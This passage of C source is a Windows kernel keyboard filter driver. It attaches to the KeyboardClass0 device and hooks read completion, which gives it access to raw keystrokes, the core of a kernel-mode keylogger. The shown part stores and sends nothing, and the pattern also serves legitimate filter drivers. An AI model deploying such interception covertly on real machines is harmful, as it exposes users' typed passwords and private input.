    }_except(EXCEPTION_CONTINUE_EXECUTION)
    {
                DbgPrint("%x",GetExceptionCode());
    }
    return STATUS_CONTINUE_COMPLETION;

   
  
}

#pragma PAGEDCODE
NTSTATUS
Dispatch(
     IN PDEVICE_OBJECT  DeviceObject,
     IN PIRP  Irp
    )
{

  IoSkipCurrentIrpStackLocation(Irp);
  return IoCallDriver(targetdevice,Irp);
}

NTSTATUS
DispatchRead(
          IN PDEVICE_OBJECT  DeviceObject,
          IN PIRP  Irp
    )
{
  PIO_STACK_LOCATION irpsp;
  NTSTATUS s;
  PKEYBOARD_INPUT_DATA key;


  //DbgPrint("read");

  pcancel = Irp;
    IoCopyCurrentIrpStackLocationToNext(Irp);
//    IoSkipCurrentIrpStackLocation(Irp);

  IoSetCompletionRoutine(Irp,CompeleteRoutin,NULL,TRUE,TRUE,TRUE);

  return IoCallDriver(targetdevice,Irp);

}



VOID
Unload(
      IN PDRIVER_OBJECT  DriverObject
    )
{
  IoCancelIrp(pcancel);

  IoDetachDevice(targetdevice);
  IoDeleteDevice(selfdevice);
  DbgPrint("Driver Unload!");
}



NTSTATUS
DriverEntry(
      IN PDRIVER_OBJECT  DriverObject,
      IN PUNICODE_STRING  RegistryPath
    )
{
    PDEVICE_OBJECT device;
  PFILE_OBJECT file;
  NTSTATUS s;
    UNICODE_STRING DeviceName;
  ULONG i;


  DbgPrint("Driver loaded!");
  DriverObject->DriverUnload = Unload;

  for (i=0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
  {
    DriverObject->MajorFunction[i] = Dispatch;
  }

  DriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;


 
  RtlInitUnicodeString(&DeviceName,L"\\Device\\KeyboardClass0");

  s = IoGetDeviceObjectPointer(&DeviceName,FILE_ALL_ACCESS,&file,&device);

  if (!NT_SUCCESS(s))
  {
    DbgPrint("Get Device error!");
    return s;
  }
   
  s = IoCreateDevice(DriverObject,
                    0,
                        NULL,
            device->Type,
            device->Characteristics,
            TRUE,
            &selfdevice
            );
  if (!NT_SUCCESS(s))
  {
    ObDereferenceObject(file);
    DbgPrint("Create Device Faile!!!");
    return s;
  }
   
    targetdevice = IoAttachDeviceToDeviceStack(selfdevice,device);

  if (!targetdevice)
  {
    IoDeleteDevice(selfdevice);
    ObDereferenceObject(file);
    DbgPrint("attach faile");
    return STATUS_INSUFFICIENT_RESOURCES;
  }

  selfdevice->DeviceType = targetdevice->DeviceType;
  selfdevice->Characteristics = targetdevice->Characteristics;
  selfdevice->Flags &=~DO_DEVICE_INITIALIZING;
  selfdevice->Flags |=(targetdevice->Flags & (DO_DIRECT_IO | DO_BUFFERED_IO));

  ObDereferenceObject(file);
  DbgPrint("SUCCESS");

  return STATUS_SUCCESS;
}